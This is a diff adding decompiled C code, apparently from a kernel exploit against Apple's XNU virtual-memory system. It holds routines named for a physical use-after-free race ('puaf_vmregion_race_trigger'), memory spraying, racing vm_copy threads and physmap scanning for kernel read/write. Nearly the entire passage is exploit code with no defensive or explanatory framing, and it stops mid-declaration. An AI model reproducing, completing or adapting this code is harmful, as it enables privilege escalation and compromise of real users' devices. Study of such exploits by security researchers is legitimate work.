+        v9 = address;
+        vm_allocate(mach_task_self_, &address, 0x4000u, 16386);
+        result = vm_remap_inplace(v9, 0x4000u, 0);
+        v8 += 0x4000LL;
+      }
+      while ( v8 < a1[140] );
+    }
+  }
+  return result;
+}
+// 42D30: using guessed type __int128 xmmword_42D30;
+
+//----- (0000000000007630) ----------------------------------------------------
+__int64 __fastcall physmap_vmregion_init(uint64_t *a1)
+{
+  vm_address_t address; // [xsp+8h] [xbp-18h] BYREF
+
+  address = 0;
+  vm_allocate(mach_task_self_, &address, 0xC000u, 1);
+  a1[158] = address;
+  grow_vm_region_list(a1);
+  find_mem_region((__int64)a1);
+  alloc_krw_region_map((__int64)a1);
+  alloc_vm_page_array((__int64)a1);
+  allocate_two_buffers_for_something(a1);
+  return setup_krw_region_structure(a1);
+}
+
+//----- (00000000000076B0) ----------------------------------------------------
+void *__fastcall alloc_physmap_page_entry(uint64_t *a1)
+{
+  void *v2; // x19
+  vm_address_t v3; // x20
+  __int64 v4; // x1
+  vm_address_t address; // [xsp+8h] [xbp-28h] BYREF
+
+  v2 = calloc(1u, 0x40u);
+  address = 0;
+  vm_allocate(mach_task_self_, &address, 0xC000u, 1);
+  *((uint64_t *)v2 + 7) = address;
+  while ( !(unsigned int)request_physmap_page(a1, (__int64)v2 + 16) )
+    ;
+  thread_switch(0, 2, 0);
+  mach_port_deallocate(mach_task_self_, *((uint32_t *)v2 + 8));
+  *((uint32_t *)v2 + 8) = 0;
+  v3 = *((uint64_t *)v2 + 7);
+  vm_remap_inplace(v3, 0xC000u, 0);
+  if ( query_vm_region_nesting(v3).object_id != *((uint64_t *)v2 + 2) )
+  {
+    vm_deallocate(mach_task_self_, v3, 0xC000u);
+    *((uint64_t *)v2 + 7) = 0;
+    *((uint64_t *)v2 + 1) = 1;
+  }
+  return v2;
+}
+// 775C: variable 'v4' is possibly undefined
+
+//----- (0000000000007794) ----------------------------------------------------
+void *__fastcall physmap_page_entry_alloc(uint64_t *a1, int a2)
+{
+  void *v4; // x19
+  __int64 v5; // x1
+  vm_address_t v6; // x3
+  __int64 v7; // x1
+  vm_address_t v8; // x3
+  __int64 v9; // x1
+  vm_address_t v10; // x0
+  vm_address_t v11; // x22
+  __int64 v12; // x1
+  __int64 v13; // x23
+  vm_address_t v14; // x22
+  __int64 v15; // x1
+  vm_address_t v16; // x0
+  vm_address_t v17; // x0
+  vm_address_t v18; // x22
+  __int64 v19; // x1
+  __int64 v20; // x23
+  __int64 v21; // x8
+  vm_address_t v22; // x3
+  __int64 v23; // x8
+  vm_address_t v25; // x8
+  vm_address_t v26; // x6
+  vm_prot_t cur_protection[2]; // [xsp+20h] [xbp-40h] BYREF
+  vm_address_t address; // [xsp+28h] [xbp-38h] BYREF
+
+  v4 = calloc(1u, 0x100u);
+  address = 0;
+  vm_allocate(mach_task_self_, &address, 0x18000u, 1);
+  *((uint64_t *)v4 + 17) = address;
+  while ( !(unsigned int)request_physmap_page(a1, (__int64)v4 + 16) )
+    ;
+  thread_switch(0, 2, 0);
+  mach_port_deallocate(mach_task_self_, *((uint32_t *)v4 + 8));
+  *((uint32_t *)v4 + 8) = 0;
+  **((uint8_t **)v4 + 17) = 65;
+  if ( query_vm_region_nesting(*((uint64_t *)v4 + 17)).object_id != *((uint64_t *)v4 + 2) )
+  {
+    v23 = 1;
+LABEL_23:
+    *((uint64_t *)v4 + 1) = v23;
+    return v4;
+  }
+  address = 0;
+  vm_allocate(mach_task_self_, &address, 0x14000u, 1);
+  v6 = address;
+  *((uint64_t *)v4 + 18) = address;
+  vm_copy(mach_task_self_, *((uint64_t *)v4 + 17) + 0x4000LL, 0x14000u, v6);
+  while ( !(unsigned int)request_physmap_page(a1, (__int64)v4 + 56) )
+    ;
+  thread_switch(0, 2, 0);
+  mach_port_deallocate(mach_task_self_, *((uint32_t *)v4 + 18));
+  *((uint32_t *)v4 + 18) = 0;
+  *(uint8_t *)(*((uint64_t *)v4 + 18) + 0x10000LL) = 65;
+  if ( query_vm_region_nesting(*((uint64_t *)v4 + 18)).object_id != *((uint64_t *)v4 + 7) )
+  {
+    v23 = 2;
+    goto LABEL_23;
+  }
+  address = 0;
+  vm_allocate(mach_task_self_, &address, 0x10000u, 1);
+  v8 = address;
+  *((uint64_t *)v4 + 19) = address;
+  vm_copy(mach_task_self_, *((uint64_t *)v4 + 18), 0x10000u, v8);
+  while ( !(unsigned int)request_physmap_page(a1, (__int64)v4 + 96) )
+    ;
+  thread_switch(0, 2, 0);
+  mach_port_deallocate(mach_task_self_, *((uint32_t *)v4 + 28));
+  *((uint32_t *)v4 + 28) = 0;
+  *(uint8_t *)(*((uint64_t *)v4 + 19) + 0x8000LL) = 65;
+  if ( query_vm_region_nesting(*((uint64_t *)v4 + 19)).object_id != *((uint64_t *)v4 + 12) )
+  {
+    v23 = 3;
+    goto LABEL_23;
+  }
+  v10 = vm_remap_new_target(*((uint64_t *)v4 + 19), 0x10000u, 0);
+  *((uint64_t *)v4 + 20) = v10;
+  address = v10 + 0x4000;
+  vm_allocate(mach_task_self_, &address, 0xC000u, 0x4000);
+  vm_deallocate(mach_task_self_, *((uint64_t *)v4 + 18), 0x14000u);
+  *((uint64_t *)v4 + 18) = 0;
+  vm_deallocate(mach_task_self_, *((uint64_t *)v4 + 17), 0x18000u);
+  *((uint64_t *)v4 + 17) = 0;
+  thread_switch(0, 2, 0);
+  vm_deallocate(mach_task_self_, *((uint64_t *)v4 + 3), 0x4000u);
+  *((uint64_t *)v4 + 3) = 0;
+  *((uint64_t *)v4 + 21) = vm_remap_new_target(*((uint64_t *)v4 + 19), 0x10000u, 1);
+  address = 0;
+  vm_allocate(mach_task_self_, &address, 0x10000u, 1);
+  *((uint64_t *)v4 + 22) = address;
+  address = 0;
+  vm_allocate(mach_task_self_, &address, 0x10000u, 1);
+  *((uint64_t *)v4 + 23) = address;
+  vm_copy(mach_task_self_, *((uint64_t *)v4 + 21), 0x10000u, *((uint64_t *)v4 + 22));
+  vm_copy(mach_task_self_, *((uint64_t *)v4 + 21), 0x10000u, *((uint64_t *)v4 + 23));
+  vm_deallocate(mach_task_self_, *((uint64_t *)v4 + 19), 0x10000u);
+  *((uint64_t *)v4 + 19) = 0;
+  v11 = *((uint64_t *)v4 + 21) + 0x8000LL;
+  vm_protect(mach_task_self_, v11, 0x4000u, 0, 1);
+  v13 = query_vm_region_nesting(v11).object_id;
+  vm_protect(mach_task_self_, v11, 0x4000u, 0, 3);
+  if ( v13 != *((uint64_t *)v4 + 2) )
+  {
+    v23 = 4;
+    goto LABEL_23;
+  }
+  address = 0;
+  vm_allocate(mach_task_self_, &address, 0x10000u, 1);
+  v14 = address;
+  vm_copy(mach_task_self_, address, 0x10000u, *((uint64_t *)v4 + 20));
+  vm_deallocate(mach_task_self_, v14, 0x10000u);
+  vm_deallocate(mach_task_self_, *((uint64_t *)v4 + 20) + 0x4000LL, 0xC000u);
+  address = 0;
+  vm_allocate(mach_task_self_, &address, 0x10000u, 1);
+  *((uint64_t *)v4 + 24) = address;
+  thread_switch(0, 2, 0);
+  vm_deallocate(mach_task_self_, *((uint64_t *)v4 + 8), 0x4000u);
+  *((uint64_t *)v4 + 8) = 0;
+  *(uint8_t *)(*((uint64_t *)v4 + 24) + 0x4000LL) = 65;
+  *((uint64_t *)v4 + 25) = vm_remap_new_target(*((uint64_t *)v4 + 24), 0x10000u, 0);
+  if ( query_vm_region_nesting(*((uint64_t *)v4 + 24)).object_id != *((uint64_t *)v4 + 7) )
+  {
+    v23 = 5;
+    goto LABEL_23;
+  }
+  v16 = *((uint64_t *)v4 + 22);
+  *((uint64_t *)v4 + 26) = v16;
+  *((uint64_t *)v4 + 22) = 0;
+  *((uint64_t *)v4 + 27) = vm_remap_new_target(v16, 0x10000u, 0);
+  if ( (a2 & 1) == 0 )
+    **((uint8_t **)v4 + 26) = 65;
+  thread_switch(0, 2, 0);
+  vm_deallocate(mach_task_self_, *((uint64_t *)v4 + 23), 0x10000u);
+  *((uint64_t *)v4 + 23) = 0;
+  vm_deallocate(mach_task_self_, *((uint64_t *)v4 + 13), 0x4000u);
+  *((uint64_t *)v4 + 13) = 0;
+  vm_deallocate(mach_task_self_, *((uint64_t *)v4 + 25), 0x10000u);
+  *((uint64_t *)v4 + 25) = 0;
+  vm_deallocate(mach_task_self_, *((uint64_t *)v4 + 24), 0x10000u);
+  *((uint64_t *)v4 + 24) = 0;
+  v17 = *((uint64_t *)v4 + 21);
+  *((uint64_t *)v4 + 28) = v17;
+  *((uint64_t *)v4 + 21) = 0;
+  *((uint64_t *)v4 + 29) = vm_remap_new_target(v17, 0x10000u, 0);
+  v18 = *((uint64_t *)v4 + 28);
+  vm_protect(mach_task_self_, v18, 0x4000u, 0, 1);
+  v20 = query_vm_region_nesting(v18).object_id;
+  vm_protect(mach_task_self_, v18, 0x4000u, 0, 3);
+  if ( v20 != *((uint64_t *)v4 + 7) )
+  {
+    v23 = 6;
+    goto LABEL_23;
+  }
+  v21 = *((uint64_t *)v4 + 26);
+  if ( a2 )
+  {
+    *((uint64_t *)v4 + 30) = vm_remap_new_target(v21 + 0x4000, 0xC000u, 1);
+    address = 0;
+    vm_allocate(mach_task_self_, &address, 0xC000u, 1);
+    v22 = address;
+    *((uint64_t *)v4 + 31) = address;
+    vm_copy(mach_task_self_, *((uint64_t *)v4 + 30), 0xC000u, v22);
+  }
+  else
+  {
+    vm_deallocate(mach_task_self_, v21 + 49152, 0x4000u);
+    vm_deallocate(mach_task_self_, *((uint64_t *)v4 + 27) + 49152LL, 0x4000u);
+    v25 = a1[158];
+    if ( v25 )
+    {
+      v26 = *((uint64_t *)v4 + 27);
+      *(uint64_t *)cur_protection = 0;
+      address = v25;
+      vm_remap(
+        mach_task_self_,
+        &address,
+        0xC000u,
+        0,
+        0x4000,
+        mach_task_self_,
+        v26,
+        0,
+        &cur_protection[1],
+        cur_protection,
+        1u);
+      vm_deallocate(mach_task_self_, *((uint64_t *)v4 + 27), 0xC000u);
+      *((uint64_t *)v4 + 27) = a1[158];
+      a1[158] = 0;
+    }
+  }
+  return v4;
+}
+// 7840: variable 'v5' is possibly undefined
+// 78D4: variable 'v7' is possibly undefined
+// 795C: variable 'v9' is possibly undefined
+// 7A94: variable 'v12' is possibly undefined
+// 7B88: variable 'v15' is possibly undefined
+// 7C58: variable 'v19' is possibly undefined
+
+//----- (0000000000007DA4) ----------------------------------------------------
+uint64_t *__fastcall fill_physmap_page_entries(uint64_t *a1, __int64 a2)
+{
+  __int64 i; // x21
+  uint64_t *result; // x0
+  __int64 v6; // x9
+
+  for ( i = 0; i != 2; ++i )
+  {
+    while ( 1 )
+    {
+      result = alloc_physmap_page_entry(a1);
+      if ( !result[1] )
+        break;
+      v6 = *(uint64_t *)(a2 + 32);
+      *result = *(uint64_t *)(a2 + 24);
+      *(uint64_t *)(a2 + 24) = result;
+      *(uint64_t *)(a2 + 32) = v6 + 1;
+    }
+    *(uint64_t *)(a2 + 8 * i) = result;
+  }
+  return result;
+}
+
+//----- (0000000000007E08) ----------------------------------------------------
+uint64_t *__fastcall dequeue_physmap_page_entry(uint64_t *a1, uint64_t *a2)
+{
+  uint64_t *v3; // x20
+  uint64_t *v4; // x21
+  int v5; // w1
+  uint64_t *result; // x0
+  __int64 v7; // x9
+  uint64_t *v8; // x8
+
+  v3 = a1;
+  v4 = a1 + 151;
+  v5 = a1 + 151 == a2;
+  while ( 1 )
+  {
+    result = physmap_page_entry_alloc(a1, v5);
+    if ( !result[1] )
+      break;
+    v5 = v4 == a2;
+    v7 = a2[2];
+    *result = a2[1];
+    a2[1] = result;
+    a2[2] = v7 + 1;
+    a1 = v3;
+  }
+  *a2 = result;
+  if ( a2[2] )
+  {
+    v8 = a2 + 1;
+    do
+      v8 = (uint64_t *)*v8;
+    while ( v8 );
+  }
+  return result;
+}
+
+//----- (0000000000007E84) ----------------------------------------------------
+uint64_t *__fastcall dequeue_multiple_physmap_entries(uint64_t *a1)
+{
+
+  fill_physmap_page_entries(a1, (__int64)(a1 + 141));
+  fill_physmap_page_entries(a1, (__int64)(a1 + 146));
+  dequeue_physmap_page_entry(a1, a1 + 151);
+  return dequeue_physmap_page_entry(a1, a1 + 155);
+}
+// 7ECC: variable 'vars8' is possibly undefined
+
+//----- (0000000000007EDC) ----------------------------------------------------
+__int64 __fastcall trigger_vm_copy_shared_mem(__int64 a1)
+{
+  atomic_store(1u, (unsigned __int8 *)(a1 + 1280));
+  vm_copy(
+    mach_task_self_,
+    *(uint64_t *)(*(uint64_t *)(a1 + 1208) + 240LL),
+    0xC000u,
+    *(uint64_t *)(*(uint64_t *)(a1 + 1240) + 208LL));
+  return 0;
+}
+
+//----- (0000000000007F28) ----------------------------------------------------
+__int64 __fastcall thread_realtime_vm_copy(__int64 a1)
+{
+  __int64 i; // x21
+  __int64 v3; // x23
+  __int64 j; // x21
+  __int64 v5; // x23
+
+  setup_thread_policy();
+  for ( i = 0; i != -16; i -= 8 )
+  {
+    v3 = *(uint64_t *)(a1 + 1136 + i);
+    vm_deallocate(mach_task_self_, *(uint64_t *)(v3 + 24), 0x4000u);
+    *(uint64_t *)(v3 + 24) = 0;
+  }
+  vm_copy(mach_task_self_, *(uint64_t *)(a1 + 1080), *(uint64_t *)(a1 + 1096), *(uint64_t *)(a1 + 1088));
+  for ( j = 0; j != -16; j -= 8 )
+  {
+    v5 = *(uint64_t *)(a1 + 1176 + j);
+    vm_deallocate(mach_task_self_, *(uint64_t *)(v5 + 24), 0x4000u);
+    *(uint64_t *)(v5 + 24) = 0;
+  }
+  atomic_store(1u, (unsigned __int8 *)(a1 + 1296));
+  vm_copy(mach_task_self_, *(uint64_t *)(*(uint64_t *)(a1 + 1240) + 208LL), 0xC000u, 0xFFFFFFFFFFFFFFFFLL);
+  return 0;
+}
+
+//----- (0000000000007FF8) ----------------------------------------------------
+__int64 __fastcall scan_physmap_for_region(__int64 a1, unsigned __int64 a2)
+{
+  __int64 v4; // x8
+  unsigned __int64 *v5; // x25
+  unsigned __int64 *v6; // x21
+  __int64 v7; // x22
+  __int64 v8; // x26
+  __int64 v9; // x23
+  unsigned __int64 v10; // x8
+  __int64 v11; // x28
+  unsigned __int64 v12; // x27
+  __int64 result; // x0
+  unsigned __int64 v14; // x25
+  unsigned __int64 v15; // x26
+  vm_address_t address; // [xsp+8h] [xbp-58h] BYREF
+
+  v4 = *(uint64_t *)(a1 + 32);
+  v5 = (unsigned __int64 *)(v4 + 0x4000);
+  v6 = (unsigned __int64 *)(v4 + 0x8000);
+  v7 = *(uint64_t *)(a1 + 1088);
+  v8 = *(uint64_t *)(a1 + 1496);
+  v9 = *(uint64_t *)(a1 + 1504);
+  *(uint64_t *)(v8 + v7) = 0xAAAA1111AAAA1111LL;
+  *(uint64_t *)(v9 + v7) = 0xAAAA1111AAAA1111LL;
+  v10 = 0xBBBB2222BBBB2223LL;
+  v11 = 200000;
+  while ( 1 )
+  {
+    v12 = v10;
+    address = (vm_address_t)v5;
+    result = vm_allocate(mach_task_self_, &address, 0x4000u, 0x4000);
+    *v5 = v12;
+    __dsb(0xAu);
+    if ( v12 == *(uint64_t *)(v7 + v8) )
+    {
+      *(uint8_t *)(a1 + 40) = 1;
+      goto LABEL_8;
+    }
+    if ( v12 == *(uint64_t *)(v7 + v9) )
+      break;
+    v10 = v12 + 1;
+    if ( !--v11 )
+      goto LABEL_8;
+  }
+  *(uint8_t *)(a1 + 41) = 1;
+LABEL_8:
+  if ( !*(uint8_t *)(a1 + 41) && a2 )
+  {
+    v14 = v12 + 1;
+    v15 = 1;
+    while ( 1 )
+    {
+      address = (vm_address_t)v6;
+      result = vm_allocate(mach_task_self_, &address, 0x4000u, 0x4000);
+      *v6 = v14;
+      __dsb(0xAu);
+      if ( v14 == *(uint64_t *)(v7 + v9) )
+        break;
+      ++v15;
+      ++v14;
+      if ( v15 > a2 )
+        return result;
+    }
+    *(uint8_t *)(a1 + 41) = 1;
+  }
+  return result;
+}
+
+//----- (000000000000814C) ----------------------------------------------------
+__int64 __fastcall get_physmap_region_ptr(__int64 a1, int a2)
+{
+  unsigned __int64 *v4; // x21
+  __int64 v5; // x22
+  __int64 v6; // x8
+  __int64 v7; // x23
+  unsigned __int64 v8; // x24
+  __int64 v9; // x25
+  __int64 result; // x0
+  vm_address_t address; // [xsp+8h] [xbp-48h] BYREF
+
+  v4 = (unsigned __int64 *)(*(uint64_t *)(a1 + 32) + 0x4000LL);
+  v5 = *(uint64_t *)(a1 + 1088);
+  v6 = 1504;
+  if ( a2 )
+    v6 = 1496;
+  v7 = *(uint64_t *)(a1 + v6);
+  *(uint64_t *)(v7 + v5) = 0xAAAA1111AAAA1111LL;
+  v8 = 0xBBBB2222BBBB2223LL;
+  v9 = 200000;
+  while ( 1 )
+  {
+    address = (vm_address_t)v4;
+    result = vm_allocate(mach_task_self_, &address, 0x4000u, 0x4000);
+    *v4 = v8;
+    if ( v8 == *(uint64_t *)(v5 + v7) )
+      break;
+    ++v8;
+    if ( !--v9 )
+      return result;
+  }
+  if ( a2 )
+    *(uint8_t *)(a1 + 40) = 1;
+  else
+    *(uint8_t *)(a1 + 41) = 1;
+  return result;
+}
+
+//----- (0000000000008228) ----------------------------------------------------
+unsigned __int64 __fastcall run_physmap_worker_threads(__int64 a1)
+{
+  pthread_t *v2; // x20
+  unsigned __int8 *v3; // x21
+  void *(__cdecl *v4)(void *); // x0
+  unsigned __int8 v5; // w8
+  unsigned __int8 v6; // w8
+  void *(__cdecl *v7)(void *); // x0
+  unsigned __int8 v8; // w8
+  unsigned __int8 v9; // w8
+  __int64 v10; // x1
+  __int64 v11; // x8
+  char v12; // w10
+  char v13; // w9
+  __int64 v14; // x20
+  char i; // w8
+  char v16; // w21
+  unsigned __int64 result; // x0
+
+  v2 = &PHYSMAP_CTX_AT(a1, pthread_t, PHYSMAP_CTX_COPY_THREAD_A_OFFSET);
+  v3 = &PHYSMAP_CTX_AT(a1, unsigned __int8, PHYSMAP_CTX_COPY_THREAD_A_READY_OFFSET);
+  atomic_store(0, &PHYSMAP_CTX_AT(a1, unsigned __int8, PHYSMAP_CTX_COPY_THREAD_A_READY_OFFSET));
+  v4 = (void *(__cdecl *)(void *))nullsub_1(trigger_vm_copy_shared_mem);
+  if ( pthread_create(v2, 0, v4, (void *)a1) )
+    __error();
+  v5 = atomic_load(v3);
+  if ( (v5 & 1) == 0 )
+  {
+    do
+    {
+      usleep(0x3E8u);
+      v6 = atomic_load(&PHYSMAP_CTX_AT(a1, unsigned __int8, PHYSMAP_CTX_COPY_THREAD_A_READY_OFFSET));
+    }
+    while ( (v6 & 1) == 0 );
+  }
+  usleep(0x1388u);
+  atomic_store(0, &PHYSMAP_CTX_AT(a1, unsigned __int8, PHYSMAP_CTX_COPY_THREAD_B_READY_OFFSET));
+  v7 = (void *(__cdecl *)(void *))nullsub_1(thread_realtime_vm_copy);
+  if ( pthread_create(&PHYSMAP_CTX_AT(a1, pthread_t, PHYSMAP_CTX_COPY_THREAD_B_OFFSET), 0, v7, (void *)a1) )
+    __error();
+  v8 = atomic_load(&PHYSMAP_CTX_AT(a1, unsigned __int8, PHYSMAP_CTX_COPY_THREAD_B_READY_OFFSET));
+  if ( (v8 & 1) == 0 )
+  {
+    do
+    {
+      usleep(0x3E8u);
+      v9 = atomic_load(&PHYSMAP_CTX_AT(a1, unsigned __int8, PHYSMAP_CTX_COPY_THREAD_B_READY_OFFSET));
+    }
+    while ( (v9 & 1) == 0 );
+  }
+  usleep(0x1388u);
+  vm_region_nesting_result nesting = query_vm_region_nesting(PHYSMAP_CTX_AT(a1, uint64_t, PHYSMAP_CTX_SHARED_COPY_BASE_OFFSET));
+  v11 = 0;
+  v12 = 1;
+  while ( 1 )
+  {
+    v13 = v12;
+    if ( nesting.object_id == *(uint64_t *)(*(uint64_t *)(a1 + 8 * v11 + PHYSMAP_CTX_REGION_A_LIST_OFFSET) + 16LL) )
+      break;
+    v12 = 0;
+    v11 = 1;
+    if ( (v13 & 1) == 0 )
+      goto LABEL_14;
+  }
+  PHYSMAP_CTX_AT(a1, uint64_t, PHYSMAP_CTX_REGION_A_INDEX_OFFSET) = v11;
+LABEL_14:
+  v14 = 0;
+  for ( i = 1; ; i = 0 )
+  {
+    v16 = i;
+    result = query_vm_region_nesting(*(uint64_t *)(*(uint64_t *)(a1 + 8 * v14 + PHYSMAP_CTX_REGION_B_LIST_OFFSET) + PHYSMAP_PAGE_ENTRY_ALIAS_OFFSET)).packed_info;
+    if ( (uint32_t)result == 2 )
+      break;
+    v14 = 1;
+    if ( (v16 & 1) == 0 )
+      return result;
+  }
+  PHYSMAP_CTX_AT(a1, uint64_t, PHYSMAP_CTX_REGION_B_INDEX_OFFSET) = v14;
+  return result;
+}
+// 8324: variable 'v10' is possibly undefined
+// 19728: using guessed type __int64 __fastcall nullsub_1(uint64_t);
+
+//----- (0000000000008384) ----------------------------------------------------
+uintptr_t __fastcall physmap_madvise_free(__int64 a1, __int64 a2)
+{
+  int status; // w0
+
+  status = madvise((void *)(*(uint64_t *)(a1 + 32) + 49152LL), a2 << 14, 3);
+  if ( status )
+    return (uintptr_t)__error();
+  return 0;
+}
+//----- (00000000000083C8) ----------------------------------------------------
+__int64 __fastcall puaf_vmregion_race_trigger(uint64_t *a1)
+{
+  vm_address_t v2; // x20
+  __int64 v3; // x8
+  __int64 v4; // x10
+  __int64 v5; // x22
+  __int64 v6; // x23
+  __int64 i; // x20
+  __int64 result; // x0
+  vm_address_t address; // [xsp+8h] [xbp-38h] BYREF
+
+  address = 0;
+  vm_allocate(mach_task_self_, &address, 0xC000u, 1);
+  v2 = address;
+  v3 = PHYSMAP_CTX_AT(a1, uint64_t, PHYSMAP_CTX_SHARED_COPY_BASE_OFFSET);
+  v4 = PHYSMAP_CTX_AT(a1, uint64_t, PHYSMAP_CTX_RACE_SOURCE_B_OFFSET);
+  *(uint8_t *)(PHYSMAP_CTX_AT(a1, uint64_t, PHYSMAP_CTX_RACE_SOURCE_A_OFFSET) + v3) = 65;
+  *(uint8_t *)(v4 + v3) = 65;
+  v5 = *(uint64_t *)((char *)a1 + PHYSMAP_CTX_REGION_A_LIST_OFFSET + 8 * PHYSMAP_CTX_AT(a1, uint64_t, PHYSMAP_CTX_REGION_A_INDEX_OFFSET));
+  vm_deallocate(mach_task_self_, *(uint64_t *)(v5 + PHYSMAP_PAGE_ENTRY_ALIAS_OFFSET), 0xC000u);
+  *(uint64_t *)(v5 + PHYSMAP_PAGE_ENTRY_ALIAS_OFFSET) = 0;
+  thread_switch(0, 2, 0);
+  v6 = *(uint64_t *)((char *)a1 + PHYSMAP_CTX_REGION_B_LIST_OFFSET + 8 * PHYSMAP_CTX_AT(a1, uint64_t, PHYSMAP_CTX_REGION_B_INDEX_OFFSET));
+  vm_deallocate(mach_task_self_, *(uint64_t *)(v6 + PHYSMAP_PAGE_ENTRY_ALIAS_OFFSET), 0xC000u);
+  *(uint64_t *)(v6 + PHYSMAP_PAGE_ENTRY_ALIAS_OFFSET) = 0;
+  vm_remap_inplace(v2, 0xC000u, 0);
+  query_vm_region_nesting(v2);
+  *(uint64_t *)(*(uint64_t *)((char *)a1 + PHYSMAP_CTX_REGION_B_LIST_OFFSET + 8 * PHYSMAP_CTX_AT(a1, uint64_t, PHYSMAP_CTX_REGION_B_INDEX_OFFSET)) + PHYSMAP_PAGE_ENTRY_ALIAS_OFFSET) = v2;
+  scan_physmap_for_region((__int64)a1, PHYSMAP_CTX_AT(a1, uint64_t, PHYSMAP_CTX_PAGE_WINDOW_COUNT_OFFSET));
+  physmap_madvise_free((__int64)a1, PHYSMAP_CTX_AT(a1, uint64_t, PHYSMAP_CTX_PAGE_WINDOW_COUNT_OFFSET) - 4LL);
+  for ( i = 0; i != 800000; i += 8 )
+    result = vm_remap_inplace(*(uint64_t *)(PHYSMAP_CTX_AT(a1, uint64_t, PHYSMAP_CTX_SPRAY_PAGES_OFFSET) + i), 0x4000u, 0);
+  return result;
+}
+
+//----- (00000000000084F8) ----------------------------------------------------
+uintptr_t __fastcall puaf_vm_region_scan_1(__int64 a1)
+{
+  __int64 v2; // x9
+  vm_address_t v3; // x21
+  __int64 v4; // x21
+  __int64 v5; // x21
+  int status; // w0
+  vm_address_t address; // [xsp+8h] [xbp-28h] BYREF
+
+  v2 = *(uint64_t *)(a1 + 32);
+  if ( *(uint8_t *)(a1 + 40) && *(uint8_t *)(a1 + 41) )
+  {
+    v3 = v2 + 0x8000;
+    address = v2 + 0x4000;
+    vm_allocate(mach_task_self_, &address, 0x4000u, 0x4000);
+    address = v3;
+  }
+  else
+  {
+    address = v2 + 0x4000;
+  }
+  vm_allocate(mach_task_self_, &address, 0x4000u, 0x4000);
+  v4 = PHYSMAP_CTX_AT(a1, uint64_t, PHYSMAP_CTX_RESTORE_ENTRY_B_OFFSET);
+  vm_deallocate(mach_task_self_, *(uint64_t *)(v4 + PHYSMAP_PAGE_ENTRY_BACKING_OFFSET), 0x4000u);
+  *(uint64_t *)(v4 + PHYSMAP_PAGE_ENTRY_BACKING_OFFSET) = 0;
+  if ( pthread_join(PHYSMAP_CTX_AT(a1, pthread_t, PHYSMAP_CTX_COPY_THREAD_B_OFFSET), 0) )
+    __error();
+  PHYSMAP_CTX_AT(a1, pthread_t, PHYSMAP_CTX_COPY_THREAD_B_OFFSET) = 0;
+  v5 = PHYSMAP_CTX_AT(a1, uint64_t, PHYSMAP_CTX_RESTORE_ENTRY_A_OFFSET);
+  vm_deallocate(mach_task_self_, *(uint64_t *)(v5 + PHYSMAP_PAGE_ENTRY_BACKING_OFFSET), 0x4000u);
+  *(uint64_t *)(v5 + PHYSMAP_PAGE_ENTRY_BACKING_OFFSET) = 0;
+  status = pthread_join(PHYSMAP_CTX_AT(a1, pthread_t, PHYSMAP_CTX_COPY_THREAD_A_OFFSET), 0);
+  if ( status )
+    return (uintptr_t)__error();
+  PHYSMAP_CTX_AT(a1, pthread_t, PHYSMAP_CTX_COPY_THREAD_A_OFFSET) = 0;
+  return 0;
+}
+
+//----- (00000000000085E4) ----------------------------------------------------
+void __fastcall validate_physmap_range_2(__int64 a1)
+{
+  int v2; // w8
+  __int64 v3; // x22
+  __int64 v4; // x23
+  __int64 v5; // x25
+  vm_address_t v6; // x20
+  __int64 v7; // x1
+  __int64 v8; // x8
+  int (__cdecl *v9)(const void *, const void *); // x0
+
+  v2 = *(unsigned __int8 *)(a1 + 40);
+  if ( *(uint8_t *)(a1 + 40) && *(uint8_t *)(a1 + 41) )
+  {
+    *(uint16_t *)(a1 + 40) = 0;
+    scan_physmap_for_region(a1, *(uint64_t *)(a1 + 1432));
+  }
+  else
+  {
+    *(uint16_t *)(a1 + 40) = 0;
+    get_physmap_region_ptr(a1, v2 != 0);
+  }
+  vm_copy(mach_task_self_, *(uint64_t *)(a1 + 1104), *(uint64_t *)(a1 + 1120), *(uint64_t *)(a1 + 1112));
+  v3 = 0;
+  v4 = 0;
+  v5 = 0;
+  do
+  {
+    v6 = *(uint64_t *)(*(uint64_t *)(a1 + 48) + 8 * v5);
+    vm_region_nesting_result nesting = query_vm_region_nesting(v6);
+    if ( nesting.packed_info >> 32 )
+    {
+      vm_deallocate(mach_task_self_, v6, 0x4000u);
+      ++v5;
+    }
+    else
+    {
+      if ( !v3 )
+        v3 = v5 + 1;
+      ++v5;
+      v8 = a1 + 16 * v4;
+      *(uint64_t *)(v8 + 56) = v6;
+      *(uint64_t *)(v8 + 64) = nesting.object_id;
+      ++v4;
+    }
+  }
+  while ( v5 != 100000 );
+  *(uint64_t *)(a1 + 1424) = v3;
+  v9 = (int (__cdecl *)(const void *, const void *))nullsub_1(compare_entry_by_offset);
+  qsort((void *)(a1 + 56), 0x40u, 0x10u, v9);
+  free(*(void **)(a1 + 48));
+  *(uint64_t *)(a1 + 48) = 0;
+}
+// 8694: variable 'v7' is possibly undefined
+// 19728: using guessed type __int64 __fastcall nullsub_1(uint64_t);
+
+//----- (0000000000008710) ----------------------------------------------------
+void __fastcall run_physmap_setup_sequence(uint64_t *a1)
+{
+
+  run_physmap_worker_threads((__int64)a1);
+  puaf_vmregion_race_trigger(a1);
+  puaf_vm_region_scan_1((__int64)a1);
+  validate_physmap_range_2((__int64)a1);
+}
+// 8748: variable 'vars8' is possibly undefined
+
+//----- (0000000000008758) ----------------------------------------------------
+__int64 __fastcall validate_physmap_range_3(vm_address_t *a1)
+{
+  vm_address_t v2; // x8
+  __int64 v3; // x8
+  vm_address_t v4; // x20
+  vm_address_t v5; // x20
+  __int64 v6; // x8
+  vm_address_t v7; // x20
+  vm_address_t *v8; // x26
+  vm_address_t v9; // x8
+  vm_address_t v10; // x9
+  vm_address_t v11; // x10
+  __int64 v12; // x20
+  vm_address_t v13; // x11
+  __int64 v14; // x8
+  vm_address_t v15; // x8
+  vm_address_t v16; // x1
+  vm_address_t v17; // x8
+  vm_address_t v18; // x20
+  vm_size_t v19; // x21
+  unsigned __int64 v20; // x8
+  __int128 *v21; // x9
+  __int64 v22; // x20
+  vm_address_t *v23; // x21
+  vm_address_t v24; // x8
+  unsigned __int64 v25; // x11
+  unsigned __int64 v26; // x10
+  unsigned int v27; // w8
+  __int128 *v28; // x8
+  __int128 v30; // [xsp+10h] [xbp-380h]
+  __int128 v31; // [xsp+30h] [xbp-360h]
+  uint8_t v32[32]; // [xsp+40h] [xbp-350h]
+  __int128 v33; // [xsp+60h] [xbp-330h]
+  __int128 v34; // [xsp+B0h] [xbp-2E0h]
+  __int128 v35; // [xsp+D0h] [xbp-2C0h]
+  __int128 v36; // [xsp+E0h] [xbp-2B0h]
+  __int128 v37; // [xsp+F0h] [xbp-2A0h]
+  __int128 v38; // [xsp+100h] [xbp-290h]
